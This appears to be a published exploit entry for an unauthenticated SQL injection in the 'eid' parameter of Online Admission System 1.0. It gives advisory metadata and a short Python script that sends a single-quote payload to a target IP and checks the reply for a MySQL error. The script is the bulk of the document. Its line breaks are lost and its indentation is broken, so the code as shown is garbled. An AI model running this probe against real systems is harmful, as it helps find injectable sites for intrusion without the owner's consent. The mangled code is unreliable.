Online Admission System 1.0 SQL Injection

# Exploit Title: online-admission-system  1.0 - unauthenticated SQL Injection# Date: 5-08-2022# Exploit Author: syad# Vendor Homepage: https://www.sourcecodester.com# Software Link: https://www.sourcecodester.com/php/15514/online-admission-system-php-and-mysql.html# Version: 1.0# Tested on: Windows 10 + XAMPP 3.2.4# CVE ID : N/A# Description # The eid parameter does not perform input validation on the edit.php file it allow unauthenticated SQL Injectionimport requestsimport sysproxies = {"https": "https://127.0.0.1:8080", "http": "http://127.0.0.1:8080"}def send_request(ip):    x = "http://%s/Student-Admission_0/Student-Admission/?a=edit&eid=8'" %ip    z = requests.get(x,proxies=proxies)    if "You have an error in your SQL syntax" in z.text:        print("[+] Found Sql Injection")    if __name__ == "__main__":    try:        ip = sys.argv[1].strip()            except IndexError:        print("[-] Usage %s <ip>" % sys.argv[0])        print("[-] Example: %s 192.168.1.x"  % sys.argv[0])        sys.exit(-1)send_request(ip)